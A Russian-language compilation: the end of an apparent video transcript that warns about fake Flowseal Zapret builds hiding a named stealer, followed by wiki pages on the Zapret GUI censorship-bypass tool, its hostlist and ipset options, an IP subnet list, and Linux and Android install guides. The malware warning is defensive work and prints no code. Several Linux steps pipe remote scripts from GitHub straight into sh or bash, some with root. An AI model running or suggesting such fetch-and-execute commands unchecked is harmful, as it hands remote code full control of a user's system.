Дискорд, Дискорд не работает». Судя по датам роликов, канал живёт уже больше полугода — то есть он не вчера создан на хайпе, он давно и планомерно паразитирует на чужом имени. Так вот, это фейк. Настоящий Flowseal распространял сборку через GitHub, и никакого «официального ютуб-канала» у него в репозитории указано не было. А этот канал ведёт людей в телеграм-каналы — названия покажу на экране, но ссылки давать не буду, и вам переходить не советую. Один называется флоусил-гитхаб, второй — просто флоусил, но во втором вместо буквы «о» стоит ноль. Старый трюк с подменой букв в названии. И сразу отвечу на вопрос, который задают чаще всего: а канал ФлоусилОбход — это ориг? Девять тысяч подписчиков, в описании «Официальный канал Flowseal, создатель обхода дискорда». Нет. Тоже фейк, причём самый крупный. Запомните: у настоящего Flowseal своего телеграм-канала нет и не было — он раздавал сборку только через GitHub, а теперь через зеркала. Этот канал выдаёт себя с потрохами дважды. Во-первых, версии: он раздаёт «ФлоусилОбход» версий два, три и даже четыре-ноль-ноль — а настоящая сборка дошла только до версии один-девять-девять. Версий два и выше просто не существует, их придумали, чтобы казаться новее оригинала. Во-вторых, архивы там под паролем — а про пароли вы уже всё знаете. И самое наглое: после бана настоящего аккаунта канал написал «мой GitHub действительно был заблокирован» — то есть использует реальную новость как доказательство своей подлинности. Не ведитесь. Посты там, кстати, сделаны очень убедительно: changelog с настоящими техническими деталями — домен дискорд-медиа, реальные порты, сервис-бат. Обычный человек не отличит. Во-вторых, комментарии закрыты. Понимаете, зачем? Чтобы никто не смог написать под постом «ребята, это вирус». Спросить «а это точно официальный канал?» — негде. И ещё одна классика жанра, про которую надо знать: такие раздачи часто идут запароленными архивами, а пароль пишут в описании поста. Так вот, пароль на архиве нужен не вам. Он нужен вирусу — запароленный архив не могут просканировать ни антивирусы, ни автоматика Телеграма. Легальной сборке обхода блокировок пароль на архиве не нужен никогда. Видите пароль — закрывайте. И оговорка, чтобы меня правильно поняли. Я не говорю, что любой телеграм-канал — это зло. Telegram — совершенно нормальный способ распространения: например, официальные каналы сборки Запрет ГУИ раздают её именно там, и это безопасно. И да, я прекрасно слышу, как звучит фраза «а вот наш канал безопасный» — ровно так же сказал бы и мошенник, поэтому не верьте на слово ни мне, ни кому-либо ещё. Верьте признакам, которые трудно подделать. Теперь открываем сам архив. И вот тут прямо красиво. Структура — точная копия настоящей сборки: те же бат-файлы, женерал, женерал-альт с первого по шестой, фейк-тлс, эм-гэ-тэ-эс, сервис-бат, папки бин и листс, лицензия, ридми. Человек, который видел настоящую сборку, узнает её мгновенно. Кроме одного файла. Виндиверт-экзе. Три с половиной мегабайта. Запомните главное правило проверки любой сборки Запрета: в настоящей сборке исполняемый файл ровно один, и называется он винвс-экзе. А ВинДиверт — это драйвер, файлы дэ-эл-эл и сис. Драйвер не бывает экзешником. «Виндиверт-экзе» — это вирус, который назвался знакомым словом, чтобы вы не заподозрили. Что говорят антивирусы? Дефендер даёт именованный вердикт: СалатСтилер. Иногда СалатСтилер-эс-эм-икс, иногда тот же файл детектится как Видар — это просто разные вендоры относят его к разным семействам, зловред один и тот же. Я проверила файл на ВирусТотале: пятьдесят пять антивирусов из семидесяти двух пометили его как вредоносный. Пятьдесят пять из семидесяти двух! Сводный вердикт — троян-салат, салат-стилер. И моя любимая деталь: внутреннее имя файла — винлогон-экзе. Вирус маскируется под системный процесс Виндоус, который отвечает за вход в систему. Плюс файл упакован упаковщиком UPX — чтобы скрыть содержимое от анализа. Стилер — если кто не в курсе — это класс вирусов, который ворует всё: сохранённые пароли из браузеров, куки, сессии Телеграма и Дискорда, криптокошельки. Запустили — считайте, что все ваши аккаунты уже не только ваши. И тут момент, на котором путаются все. Скажете: «Так на настоящий Запрет антивирусы тоже ругаются! Значит, детекты ничего не значат!» Нет. Ругаются — но по-разному, и эту разницу надо один раз понять. На настоящий Запрет бывают ложные срабатывания: один-два антивируса, детект с пометкой «эм-эль» — это когда нейросеть антивируса просто перестраховалась, потому что программа лезет в сетевые пакеты. При этом код открыт, его любой может прочитать. А здесь — конкретное имя вируса, СалатСтилер, у десятков антивирусов сразу, на закрытый файл, который притворяется системным винлогоном. Разница — как между «камера на кассе моргнула» и «вора взяли за руку с чужим кошельком». Общие вердикты вроде «троян-пакед» я в расчёт даже не беру — они сами по себе ничего не доказывают. Доказывает — одно и то же имя вируса у кучи разных антивирусов плюс маскировка. --- Теперь про тех, у кого сборка Flowseal уже установлена и вроде бы работает. Есть плохая новость и хорошая. Плохая: частично пострадали даже установленные копии. Вот код сервис-бата из сборки — прямо в скрипт зашиты ссылки на гитхаб-репозиторий. Отсюда проверяется новая версия, отсюда качаются обновления. И — самое чувствительное — отсюда сборка подтягивала свежие списки заблокированных подсетей. Репозиторий лёг — и всё это разом отвалилось. Хорошая новость: сам обход жив. Движок винвс работает полностью локально, ни к какому серверу не обращается — со списками и стратегиями, которые уже лежат на диске, он продолжает обходить блокировки как обходил. Так что умер не обход — умерли обновления. И это урок всем сборщикам: если единственный источник обновлений зашит намертво, один бан — и всё встало. --- И где теперь брать сборку, пока аккаунт не вернули? Показываю безопасный источник. Flowseal сам опубликовал официальные зеркала последних версий на СорсФордже — это старый уважаемый хостинг опенсорс-проектов. Вот страница зеркала. Три признака, по которым видно, что это не подделка. Первый: официальная плашка зеркала. СорсФордж сам, от своего имени, пишет: «Это точное зеркало проекта, размещённого на гитхабе у Flowseal». То есть содержимое скопировано с оригинального репозитория автоматически, самой платформой — а не залито кем-то вручную. Второй: раздаётся исходный код. Полтора мегабайта открытых бат-файлов, которые можно глазами прочитать до последней строчки. А у фейка — закрытый рар на четыре с половиной мегабайта с неизвестным экзешником. Третий: живая история версий. Один-девять-восемь-цэ, потом один-девять-девять-а, бэ, цэ, дэ — с датами с начала мая по четвёртое июля, и они совпадают с реальными релизами проекта. У фейков история выдуманная: какие-то «версии один-восемь», которых у настоящего проекта в таком виде не существовало. И есть альтернативы, которые вообще не зависят от аккаунта Flowseal. Первая — оригинальный запрет-два от bol-van, первоисточник, он на месте. Вторая — сборка Запрет ГУИ с графическим интерфейсом, у неё свой аккаунт и своя инфраструктура. Все ссылки — в описании и в статье. --- Чем всё закончится? Сам Flowseal ожидает разблокировку в течение одной-двух недель — с ним такое уже случалось, и тогда аккаунт вернули. Но буду с вами честной: гарантий нет. Я знаю случай, когда команде другого проекта обхода блокировок первый аккаунт снесли точно так же, без объяснения причин — и GitHub его так и не вернул, пришлось начинать с нуля. Так что исход может быть любым. Следим за развитием — все обновления будут в статье. Итого, три пункта. Первое: это приостановка, а не бан, и скорее всего — побочный урон от зачистки вирусных репозиториев по тегам. Заголовки «Zapret ВСЁ» — фейк: движок жив, зеркала есть, установленные сборки работают. Второе: Запрет как технология в порядке — автор на месте, альтернативные сборки никуда не делись. И третье, главное: сейчас худший момент, чтобы качать сборки из случайных мест. Мошенники этой паники только и ждали — один их вирус я вам сегодня показала. Полный текстовый разбор со всеми ссылками, хешами файлов и скриншотами — в статье, ссылка в описании. Если видео было полезным — лайк и подписка, а главное — перешлите его тому, кто прямо сейчас гуглит «где скачать запрет». Возможно, именно этим вы спасёте его пароли. Всем безопасного интернета — и до встречи! --- --- title: Zapret 2 (Запрет GUI) — обход блокировок Discord и YouTube tags: link: aliases: - index - Запрет ГУИ - Zapret GUI - Скачать Запрет - Запрет 2 обход блокировок - Обход блокировки Дискорда и Ютуба img: ---

Zapret 2 (Запрет: обход блокировки Дискорда и Ютуба)

### ❗ [[download|Хочу быстро и просто. Как установить и использовать?]] ### [[Zapret/about|🔐 Что это такое?]] | [[guide|🚀 Как настроить под себя (гайд на настройку)]] | [[faq|❓ FAQ (часто задаваемые вопросы)]] | [[Манифест Zapret]] ### [[premium|⭐ Поддержать проект]] | [[🐳 Win 7 и 8]] | [[zapret_not_working|⛔ Не работает!]] | [[virus|👾 О вирусах]] | [[changelog-21.0.0-dev-june-2026|📜 Changelog 21.0.0]]

Основной канал VPN-канал Личный канал YouTube Discord Поддержать донатами Вики Вопросы и баги в Forgejo

Звёзды в Forgejo Последний релиз в Forgejo Открытые задачи в Forgejo Проверка исходников в Forgejo Actions

Загрузки последнего релиза Последний коммит Лицензия MIT Python 3 Windows 10 и 11 Свой Git-сервер SHA256 в каждом релизе

Эта вики по одному из самых популярных GUI лаунчеров для программы [[Zapret2|Zapret 2]]. А также всему что с ним связано и вообще по теме обхода блокировок в сети интернет (*особенно рунета*). Мы собрали и продолжаем собирать свыше 200 стратегий обхода блокировок для Discord и YouTube. Вы также можете нам помочь если запишитесь в [[Волонтёры|волонтёры]]. Отслеживать изменения вики (*по всем страницам*) можно [тут](https://telegram.me/approundmap). Вы также можете принять участие в разработке и улучшить эту вики написав статью [здесь](https://git.zapret.moe/zapretdiscordyoutube/todo). Для этого создайте форк репозитория и создайте пулл реквест! Также программа предоставляет широкие возможности по настройке для автоматического запуска как GUI, так и отдельных `bat` стратегий (*в режиме Запрет1 и [[Zapret2]]*). А также тонких настроек поведения любой части программы (*также для режима Запрет 1 и Запрет 2*), например, быстрое управление списками доменов прямо из GUI программы для всех стратегий. > [!TIP] > Относитесь к программе как к аптечке. По умолчанию Вам доступен стандартный набор возможностей, но Вы можете попробовать другие лекарства, которые кому-то помогают сильнее, у кого-то не вызывают аллергию, у кого-то вызывают аллергию (_но это не значит что препарат опасен, он просто Вам не подходит_) а кому-то бесполезны и ничего не делают. Вы также можете добавлять свои лекарства в эту аптечку. ### Основные возможности - Возможность обхода блокировок Ютуба и Дискорда (через ядро `winws.exe`, а также ядро `winws2.exe`) - Возможность быстро переключить между режимами Запрет 1 и Запрет 2 - Возможность разблокировать доступ к неработающим сайтам ChatGPT, Google Gemini, Notion и другим заблокированным для России ресурсам (через файл `hosts`) - Возможность запустить оркестратор - автоматический перебор стратегий в режиме live - Возможность прописать кастомные DNS сервера (против атак провайдеров типа подмены ДНС) - Блокирует установку национального мессенджера `Max` - Подробнее про блокировку [[youtube]] ![[Pasted image 20260714003302.png]] Вы можете попробовать [[Blockcheck|блокчек]] если ни одна стратегия не сработала. [[Создание своей категории|Как собрать свои адреса]] для игр и других приложений или сайтов. [[profile|Что такое профиль]] и чем он отличается от пресета. > [!IMPORTANT] > Есть вопросы? Задай их здесь: https://git.zapret.moe/zapretdiscordyoutube/zapretgui/issues/new или же в группе https://telegram.me/youtubenotwork или https://discord.gg/kkcBDG2uws > [!CAUTION] > Совсем никак не работает Запрет? > > Попробуйте наш новый VPN с безлимитной скоростью: https://telegram.me/zapretvpns_bot ### 🤖 Вики дружит с ИИ Все статьи открыты — их можно скармливать ИИ-ассистентам и обучать на них модели: - у каждой страницы есть кнопка **«🤖 Скопировать как Markdown»** (под датой), а исходник доступен по адресу страницы с расширением `.md` — например, [Zapret2/guide.md](https://wiki.zapret.moe/Zapret2/guide.md); - [llms.txt](https://wiki.zapret.moe/llms.txt) — каталог всех статей вики со ссылками на Markdown-исходники (стандарт [llmstxt.org](https://llmstxt.org) для ИИ-краулеров); - [llms-full.txt](https://wiki.zapret.moe/llms-full.txt) — вся вики одним файлом (~5 МБ), удобно загрузить в контекст модели целиком; - [zip всего репозитория](https://git.zapret.moe/zapretdiscordyoutube/todo/archive/main.zip) — исходники со всей историей в [Forgejo](https://git.zapret.moe/zapretdiscordyoutube/todo). ### Другие полезные сервисы и VPN https://github.com/awesome-windows11/CensorNet --- --- date: tags: link: aliases: - хостлист img: --- # 🌐 **[[filter|Фильтры]] по доменам (hostlist)** ### **`--hostlist`** - Включающий список доменов **Синтаксис:** ```bash --hostlist= ``` **Параметры:** - `filename` - путь к файлу с доменами - Формат: один домен на строку - Поддомены применяются автоматически - Поддержка gzip - Можно указывать несколько раз **Формат файла:** ``` youtube.com google.com facebook.com ``` **Особенности:** - `youtube.com` автоматически включает `www.youtube.com`, `m.youtube.com` и т.д. **Примеры:** ```bash --hostlist=/path/to/domains.txt --hostlist=/path/to/list1.txt --hostlist=/path/to/list2.txt.gz ``` --- ### **`--hostlist-domains`** - Фиксированный список доменов **Синтаксис:** ```bash --hostlist-domains= ``` **Параметры:** - Список доменов через запятую **Примеры:** ```bash --hostlist-domains=youtube.com,google.com,facebook.com ``` --- ### **`--hostlist-exclude`** - Исключающий список доменов **Синтаксис:** ```bash --hostlist-exclude= ``` **Параметры:** (аналогично `--hostlist`) - Домены, которые НЕ должны обрабатываться **Примеры:** ```bash --hostlist-exclude=/path/to/exclude_domains.txt ``` --- ### **`--hostlist-exclude-domains`** - Фиксированный список исключений **Синтаксис:** ```bash --hostlist-exclude-domains= ``` **Примеры:** ```bash --hostlist-exclude-domains=local.domain,internal.net ``` --- ## 🤖 **Автоматический hostlist** ### **`--hostlist-auto`** - Автоматическое определение блокировок **Синтаксис:** ```bash --hostlist-auto= ``` **Параметры:** - `filename` - файл для сохранения автоматически обнаруженных доменов - Система автоматически определяет DPI блокировки и добавляет домены в список **Примеры:** ```bash --hostlist-auto=/var/lib/zapret/auto.txt ``` --- ### **`--hostlist-auto-fail-threshold`** - Порог неудачных попыток **Синтаксис:** ```bash --hostlist-auto-fail-threshold= ``` **Параметры:** - Количество неудачных попыток для добавления домена в автолист - **По умолчанию:** зависит от реализации **Примеры:** ```bash --hostlist-auto-fail-threshold=3 ``` --- ### **`--hostlist-auto-fail-time`** - Временное окно для неудач **Синтаксис:** ```bash --hostlist-auto-fail-time= ``` **Параметры:** - Время в секундах, в течение которого должны произойти неудачи - **По умолчанию:** зависит от реализации **Примеры:** ```bash --hostlist-auto-fail-time=60 # все неудачи в течение 60 секунд ``` --- ### **`--hostlist-auto-retrans-threshold`** - Порог ретрансмиссий **Синтаксис:** ```bash --hostlist-auto-retrans-threshold= ``` **Параметры:** - Количество ретрансмиссий запроса, которые считаются неудачей - **По умолчанию:** зависит от реализации **Примеры:** ```bash --hostlist-auto-retrans-threshold=2 ``` --- ### **`--hostlist-auto-debug`** - Отладка автолиста (глобальный параметр) **Синтаксис:** ```bash --hostlist-auto-debug= ``` **Параметры:** - Путь к файлу логов для отладки автоматического определения **Примеры:** ```bash --hostlist-auto-debug=/var/log/zapret-auto.log ``` --- # Ошибки GEO-ограничений или сайт сам себя заблокировал для РФ Файл `hosts` — самый быстрый и лёгкий способ разблокировать сайты и ресурсы которые заблокировали сами себя от пользователей из СНГ или России. В данном случае это не блокировка Роскомнадзора и такие способы как [[Zapret2]] будут бесполезны. Стратегии не помогут так как тут нечего разблокировать — сайт **УЖЕ** работает в России (*открывается*), просто **САМ** сайт не хочет соединяться с пользователем из санкционной страны. В таком случае надо обмануть сайт и поменять своё местоположение на другое — а Zapret, как известно, локальное решение которое это не умеет. Но есть способы для этого — и о них позже. ## Типичная блокировка выглядит так Ошибка `Unable to load site` к доступу к https://chatgpt.com, означает что сайт блокирует к себе доступ по GEO-ограничению (для россиян). Нужно перепроверить hosts на то что там указан вообще домен сайта, если такая ошибка значит в hosts его нет. ![[Pasted image 20251220223211.png]] Вы можете купить [[Zapret/premium|премиум]] чтобы использовать KVN для [[android|Android]] устройств (*или править `hosts файл` через root права, имея, например, AdWay*), а для ПК проще, надёжнее всего (*и самое главное **БЕСПЛАТНО***) будет использовать редактор файла hosts через [[guide|Zapret GUI]]. ## Как обойти GEO-блокировку через Zapret GUI Предположим что Вы на Windows машине хотите получить доступ к `chatgpt.com` или любому другому такому сайту. Чтобы получить доступ к нему Вам следует перейти во вкладку `hosts`: ![[Pasted image 20260226175310.png]] После чего выбрать нужный DNS-провайдера для нужного сайта: ![[Pasted image 20260226175331.png]] После чего перезапустите браузер. Иногда бывает что этот провайдер не работает — тогда выберите другого провайдера из выпадающего списка и снова перезапустите браузер — какой-то из провайдеров у Вас в итоге должен заработать. --- https://raw.githubusercontent.com/ekungurov/zapret-discord-youtube/refs/heads/update-lists-1/lists/ipsets/ipset-ovh.txt ```embed title: "zapret-discord-youtube/lists/custom/ipset-ovh.txt at 80e51d0d05fc91b4080142048e19a1b46a95b4b1 · fluffydaddy/zapret-discord-youtube" image: "https://opengraph.githubassets.com/0a3ea0de75ea941e71bc49ddf52b9be2a0a6fe1426ac7c8ea88e1f966ff970f7/fluffydaddy/zapret-discord-youtube" description: "Contribute to fluffydaddy/zapret-discord-youtube development by creating an account on GitHub." url: "https://github.com/fluffydaddy/zapret-discord-youtube/blob/80e51d0d05fc91b4080142048e19a1b46a95b4b1/lists/custom/ipset-ovh.txt" favicon: "https://github.githubassets.com/favicons/favicon-dark.svg" aspectRatio: "50" parser: "local" date: "2025-10-05" custom_date: "2025-10-05 19:55:09" ``` ```txt 2.57.242.0/24 5.39.0.0/17 5.83.153.0/24 5.135.0.0/16 5.144.181.0/24 5.144.182.0/24 5.175.195.0/24 5.178.106.0/24 5.178.110.0/24 5.196.0.0/16 8.7.244.0/24 8.18.128.0/24 8.18.172.0/24 8.20.110.0/24 8.21.41.0/24 8.24.8.0/21 8.26.94.0/24 8.29.224.0/24 8.30.208.0/21 8.33.96.0/21 8.33.128.0/21 8.33.136.0/23 15.204.0.0/16 15.235.0.0/16 23.92.224.0/19 23.137.200.0/24 23.151.184.0/24 23.156.24.0/23 23.174.168.0/24 31.6.62.0/24 31.24.253.0/24 31.41.37.0/24 31.56.52.0/22 31.56.77.0/24 31.57.199.0/24 31.59.68.0/24 31.59.71.0/24 37.59.0.0/16 37.60.48.0/20 37.139.130.0/24 37.187.0.0/16 37.202.202.0/24 37.230.48.0/24 37.230.63.0/24 40.160.0.0/17 40.160.224.0/24 40.160.226.0/24 40.160.228.0/24 40.160.230.0/24 40.160.232.0/24 40.160.234.0/24 40.160.236.0/24 40.160.238.0/24 40.160.240.0/24 40.160.242.0/24 40.160.244.0/24 40.160.246.0/24 40.160.248.0/24 43.226.0.0/23 45.43.142.0/24 45.66.82.0/23 45.92.60.0/22 45.94.49.0/24 45.95.80.0/24 45.112.195.0/24 45.135.161.0/24 45.149.63.0/24 45.149.243.0/24 46.8.116.0/24 46.8.200.0/23 46.17.217.0/24 46.28.236.0/24 46.105.0.0/16 46.244.32.0/20 50.114.91.0/24 51.38.0.0/16 51.68.0.0/16 51.75.0.0/16 51.77.0.0/16 51.79.0.0/16 51.81.0.0/16 51.83.0.0/16 51.89.0.0/16 51.91.0.0/16 51.161.0.0/16 51.178.0.0/16 51.195.0.0/16 51.210.0.0/16 51.222.0.0/16 51.254.0.0/15 54.36.0.0/14 57.128.0.0/15 57.130.0.0/16 57.131.0.0/17 62.122.126.0/24 63.251.117.0/24 64.50.162.0/23 64.94.92.0/23 64.95.150.0/23 64.225.244.0/23 66.70.128.0/17 66.179.22.0/24 66.179.218.0/23 69.72.31.0/24 72.251.0.0/17 77.73.34.0/24 77.74.120.0/23 77.74.122.0/24 77.75.195.0/24 77.81.138.0/24 77.90.33.0/24 77.246.211.0/24 79.110.61.0/24 79.137.0.0/17 80.71.226.0/24 80.87.206.0/24 80.253.249.0/24 82.22.118.0/24 82.22.196.0/24 82.24.96.0/22 82.26.202.0/24 82.27.197.0/24 82.117.230.0/23 82.117.245.0/24 82.152.8.0/24 82.152.98.0/24 82.153.205.0/24 82.153.217.0/24 83.136.214.0/23 83.143.16.0/21 85.217.144.0/23 86.38.156.0/24 86.54.24.0/24 86.110.56.0/24 87.98.128.0/17 87.229.8.0/24 88.218.34.0/24 89.19.44.0/24 89.39.120.0/24 89.213.50.0/24 91.90.88.0/21 91.121.0.0/16 91.124.209.0/24 91.134.0.0/16 91.198.19.0/24 91.199.32.0/24 91.224.117.0/24 91.235.205.0/24 91.246.38.0/24 92.113.13.0/24 92.113.67.0/24 92.113.74.0/24 92.113.77.0/24 92.113.80.0/24 92.222.0.0/16 92.246.224.0/19 93.114.69.0/24 94.23.0.0/16 95.134.149.0/24 95.135.58.0/24 95.169.162.0/24 96.62.105.0/24 103.5.12.0/22 103.102.231.0/24 103.199.80.0/24 103.206.156.0/23 104.167.16.0/24 104.225.253.0/24 104.234.50.0/24 104.243.245.0/24 107.189.64.0/18 108.165.220.0/24 109.110.184.0/24 109.176.244.0/24 114.129.44.0/24 117.18.104.0/24 123.100.227.0/24 128.0.118.0/24 135.125.0.0/16 135.148.0.0/16 136.0.248.0/24 137.74.0.0/16 137.83.50.0/24 139.99.0.0/16 140.235.56.0/22 141.11.40.0/24 141.11.74.0/23 141.94.0.0/15 141.227.128.0/24 141.227.130.0/24 141.227.132.0/24 141.227.134.0/24 141.227.136.0/23 141.227.138.0/24 141.227.140.0/24 141.227.142.0/24 141.227.160.0/24 141.227.162.0/24 141.227.164.0/24 141.227.166.0/24 141.227.168.0/24 141.227.170.0/24 141.227.172.0/24 141.227.174.0/24 141.227.176.0/24 141.227.178.0/24 141.227.180.0/24 142.4.192.0/19 142.44.128.0/17 144.2.32.0/19 144.172.73.0/24 144.217.0.0/16 145.239.0.0/16 146.19.9.0/24 146.59.0.0/16 146.103.10.0/24 146.103.49.0/24 147.135.0.0/16 148.113.0.0/18 148.113.128.0/17 148.222.40.0/22 149.56.0.0/16 149.202.0.0/16 150.241.209.0/24 151.80.0.0/16 151.240.14.0/24 151.240.17.0/24 151.240.100.0/24 151.242.39.0/24 151.242.67.0/24 151.242.117.0/24 151.242.159.0/24 151.243.6.0/24 151.243.160.0/22 151.244.78.0/24 151.245.112.0/24 152.228.128.0/17 157.254.30.0/24 157.254.155.0/24 158.69.0.0/16 162.19.0.0/16 162.212.35.0/24 163.5.62.0/24 163.5.149.0/24 163.5.187.0/24 163.223.88.0/24 164.132.0.0/16 164.153.166.0/24 166.1.231.0/24 167.114.0.0/16 167.148.33.0/24 167.234.38.0/24 167.253.62.0/24 168.245.185.0/24 172.83.201.0/24 172.94.66.0/24 176.10.88.0/24 176.31.0.0/16 178.32.0.0/15 178.236.233.0/24 180.131.145.0/24 180.149.33.0/24 184.174.96.0/23 185.5.39.0/24 185.12.32.0/23 185.19.33.0/24 185.23.237.0/24 185.25.93.0/24 185.30.212.0/22 185.45.160.0/22 185.68.137.0/24 185.91.112.0/24 185.101.104.0/24 185.113.249.0/24 185.127.28.0/24 185.129.220.0/24 185.129.222.0/24 185.135.188.0/24 185.155.218.0/24 185.170.155.0/24 185.196.221.0/24 185.207.134.0/24 185.216.126.0/24 185.220.196.0/24 185.225.74.0/23 185.226.181.0/24 185.228.207.0/24 185.241.50.0/23 185.255.28.0/24 188.68.164.0/22 188.165.0.0/16 188.209.140.0/24 191.96.153.0/24 191.101.177.0/24 192.31.246.0/24 192.70.246.0/23 192.95.0.0/18 192.99.0.0/16 192.109.11.0/24 192.124.170.0/24 192.124.180.0/24 192.152.126.0/24 192.228.116.0/24 192.240.152.0/21 193.17.223.0/24 193.32.204.0/24 193.33.176.0/23 193.43.104.0/24 193.70.0.0/17 193.149.28.0/22 193.243.147.0/24 194.31.164.0/24 194.31.166.0/24 194.59.183.0/24 194.61.44.0/23 194.76.36.0/23 194.76.173.0/24 194.87.205.0/24 194.147.159.0/24 194.150.165.0/24 194.156.227.0/24 194.164.230.0/24 195.62.72.0/23 195.66.30.0/23 195.88.71.0/24 195.206.242.0/24 198.27.64.0/18 198.49.103.0/24 198.50.128.0/17 198.100.144.0/20 198.101.27.0/24 198.244.128.0/17 198.245.48.0/20 199.48.178.0/24 199.193.138.0/24 199.195.140.0/23 202.2.60.0/22 202.92.214.0/23 203.5.184.0/24 203.27.201.0/24 206.123.148.0/24 206.168.95.0/24 206.168.174.0/23 206.206.126.0/24 207.166.205.0/24 207.166.206.0/24 209.71.36.0/24 209.112.80.0/22 209.126.71.0/24 209.151.124.0/24 212.38.79.0/24 212.192.253.0/24 213.32.0.0/17 213.145.89.0/24 213.182.219.0/24 213.186.32.0/19 213.218.234.0/24 213.218.238.0/24 213.251.128.0/18 216.24.221.0/24 216.183.120.0/24 216.203.15.0/24 216.247.96.0/24 217.11.174.0/24 217.179.7.0/24 217.182.0.0/16 ``` --- --- date: tags: link: aliases: - айпсет img: --- # 🎯 **[[filter|Фильтры]] по IP адресам** ### 6. **`--ipset`** - Включающий IP фильтр **Синтаксис:** ```bash --ipset= ``` **Параметры:** - `filename` - путь к файлу с IP адресами/подсетями - Формат файла: один IP/CIDR на строку - Поддержка IPv4 и IPv6 - Поддержка gzip сжатия - Можно указывать несколько раз **Формат файла:** ``` 192.168.1.0/24 10.0.0.1 2001:db8::/32 ``` **Примеры:** ```bash --ipset=/path/to/iplist.txt --ipset=/path/to/list1.txt.gz --ipset=/path/to/list2.txt ``` --- ### 7. **`--ipset-ip`** - Фиксированный список IP **Синтаксис:** ```bash --ipset-ip= ``` **Параметры:** - Список IP/подсетей через запятую - Без файла, прямо в командной строке **Примеры:** ```bash --ipset-ip=192.168.1.0/24,10.0.0.1 --ipset-ip=8.8.8.8,1.1.1.1 ``` --- ### 8. **`--ipset-exclude`** - Исключающий IP фильтр **Синтаксис:** ```bash --ipset-exclude= ``` **Параметры:** (аналогично `--ipset`) - Файл с IP адресами, которые НЕ должны обрабатываться **Примеры:** ```bash --ipset-exclude=/path/to/exclude.txt ``` --- ### 9. **`--ipset-exclude-ip`** - Фиксированный список исключений **Синтаксис:** ```bash --ipset-exclude-ip= ``` **Примеры:** ```bash --ipset-exclude-ip=192.168.0.0/16,10.0.0.0/8 ``` --- # Установка Zapret на linux Всего существует несколько основных способов (в данном документе представлено 4): ## Способ 1. Однокнопочный zapret для Linux 1. Скачайте и распакуйте [архив](https://github.com/ImMALWARE/zapret-linux-easy/archive/refs/heads/main.zip) (либо по команде `git clone https://github.com/ImMALWARE/zapret-linux-easy && cd zapret-linux-easy`) 2. Убедитесь, что у вас установлены пакеты curl, iptables и ipset (для FWTYPE=iptables) или curl и nftables (для FWTYPE=nftables)! 1. Если нет — установите. Если вы не знаете как, спросите у ChatGPT! 3. Откройте терминал в папке,- куда архив был распакован 4. Выполните `./install.sh` ## Способ 2. Zapret Sergeydigl3 Это адаптер для запуска популярных конфигураций обхода замедления YouTube на базе Zapret Discord Youtube Flowseal. Скрипт создан за пару вечеров с целью сделать его Plug-And-Play. Как запустить 1. **Клонирование репозитория и запуск основного скрипта:** ```bash git clone https://github.com/Sergeydigl3/zapret-discord-youtube-linux.git cd zapret-discord-youtube-linux sudo bash main_script.sh ``` Скрипт: - Спросит, нужно ли обновление (если папка zapret-latest уже существует). - Предложит выбрать стратегию из bat-файлов (например, `general.bat`, `general_mgts2.bat`, `general_alt5.bat`). (При этом bat-файлы автоматически переименовываются через `rename_bat.sh`.) - Попросит выбрать сетевой интерфейс. 2. **Сохранение параметров:** Ответы можно сохранить в файле `conf.env` и потом запускать скрипт в неинтерактивном режиме: ```bash sudo bash main_script.sh -nointeractive ``` Для отладки парсинга используйте флаг `-debug`. Пример содержимого файла `conf.env`: ```bash strategy=general.bat auto_update=false interface=enp0s3 ``` Если требуется автообновление, установите auto_update=true. 3. **Как посмотреть список интерфейсов:** ```bash ls /sys/class/net ``` Важно - Скрипт работает только с **nftables**. - При остановке скрипта все добавленные правила фаервола очищаются, а фоновые процессы `nfqws` останавливаются. - Если у вас настроены кастомные правила в nftables, сделайте их резервное копирование — скрипт может удалить их при запуске. ## Способ 3. Snowy-Fluffy/zapret.installer Облегчает установку zapret для новичков и тех, кто не хочет разбираться в его работе. Устанавливает [zapret из оффициального репозитория](https://github.com/bol-van/zapret), CLI панель управления и [репозиторий со стратегиями и списками доменов](https://github.com/Snowy-Fluffy/zapret.cfgs). 🔽 Установка Запуск скрипта установки (необходимо наличие *curl* в системе): ```bash sh -c "$(curl -fsSL https://raw.githubusercontent.com/Snowy-Fluffy/zapret.installer/refs/heads/main/installer.sh)" ``` Вызов панели управления: ```bash zapret ``` ## Способ 4. Линукс - привет! Выполните: ``` sh -c "$(curl -fsSL https://raw.githubusercontent.com/Snowy-Fluffy/zapret.installer/refs/heads/main/installer.sh)" ``` После установки запрета моей командой можно запускать меню управления запретом с помощью команды zapret в терминале ## Способ 5. 🚀 Zapret **Автоматическая установка одним командой:** ```bash bash <(curl -s https://raw.githubusercontent.com/kartavkun/zapret-discord-youtube/main/setup.sh) ``` > [!TIP] > Если команда выше не работает, попробуйте альтернативный вариант: > ```bash > bash <(curl -s https://raw.githubusercontent.com/kartavkun/zapret-discord-youtube/main/setup.sh | psub) > ``` **Что делает скрипт установки:** - ✅ Автоматически определяет ваш дистрибутив Linux - 📦 Устанавливает необходимые зависимости (wget, git) - ⬇️ Скачивает последнюю версию zapret с официального репозитория - 🛠️ Настраивает систему для работы zapret - 🎯 Предлагает интерактивный выбор конфигурации --- --- date: 2026-07-18 tags: - zapret - android - root - magisk - kernelsu - dpi aliases: - magisk-zapret2 - Zapret2 Magisk - Zapret2 Android - Zapret на Android через root - DPI-обход на Android с root link: https://git.zapret.moe/zapretdiscordyoutube/magisk-zapret2 --- # 📡 Zapret2 как Magisk-модуль — системный обход DPI на Android (зачем нужен root) > [!info] О чём заметка > Один из самых полезных сценариев для **root** на Android — **системный обход блокировок (DPI)** через Magisk-модуль **Zapret2**. Он «маскирует» трафик так, что провайдер не может опознать YouTube/Discord/и т.д. и заблокировать соединение — **для всех приложений сразу, без VPN и сторонних серверов**. Заметка объясняет, что это, почему тут нужен root, как поставить и в чём ограничения. Про сам root — в заметках [[root/Magisk|Magisk]] и [[root/ReSukiSU|ReSukiSU/KernelSU]]; общий обзор способов обхода на Android (в т.ч. безрутовые) — в [[Zapret/android|Дурилки трафика (DPI) для Android]]. ## TL;DR - **Zapret2** — Magisk/KernelSU-модуль, который запускает DPI-обход (форк [zapret](https://github.com/bol-van/zapret/) от bol-van) **системно**, работая напрямую с сетевым фильтром Linux (`iptables`/**NFQUEUE**). Отсюда и требование root. - Это **не VPN**: трафик идёт **напрямую**, без туннеля и внешних серверов. Поэтому быстрее VPN и без подписки — но и **без анонимности** (это обход блокировки, а не сокрытие того, что вы в сети). - Работает для **всех приложений устройства** сразу. Телефон с включённым Zapret2 можно **раздавать по Wi-Fi (hotspot)** — тогда подключённые устройства получают уже 